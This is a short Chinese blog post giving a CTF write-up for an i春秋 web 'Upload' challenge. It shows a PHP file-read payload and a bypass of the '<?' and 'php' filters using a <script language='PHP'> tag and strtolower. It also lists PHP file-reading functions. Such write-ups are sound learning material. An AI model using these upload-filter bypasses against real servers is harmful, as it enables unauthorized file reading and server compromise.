喬悟空-CTF-i春秋-Web-Upload
阿新 • • 發佈:2020-09-03
2020.09.03
ai 做過的題,兩天不看就忘了……
做題
題目
thinking……
-
開啟網站
-
告訴了檔案在flag.php中,所以寫個php,把flag.php檔案讀取出來就行
盜來的php
<?php $ctx = stream_context_create(array( 'http' => array( 'timeout' => 1 //設定超時 ) ) ); echo file_get_contents("flag.php", 0, $ctx); ?>
這裡一開始直接在連線後邊訪問上傳的檔案,訪問不到……後來發現是上傳到
/u
目錄下了……
訪問輸出:
很明顯能看出來這是把php的頭給過濾了,然後找到了以下程式碼來代替
- 繞過
php
和<?
過濾
程式碼如下:
<script language='PHP'>
echo file_get_contents("../flag.".strtolower("PHP"));
</script>
經過測試,有幾點要說:
- 上邊我本來把flag.php改成flag.pHp,但是並不能成功,說明檔案系統對檔案字尾名也是有區分的。
- 檔案被上傳的路徑可以通過表單原始碼進行檢視
- ../
- 結果
總結
- php讀取檔案的幾種方式
- fread、fgets、fgetss、file、readfile、file_get_contents、fpassthur
- 詳細連結
<?
被過濾,用script
標籤來繞過php
被過濾,用大寫來繞過,可以用strtolower()
來變成小寫- 伺服器中檔案,字尾名大小寫也會有影響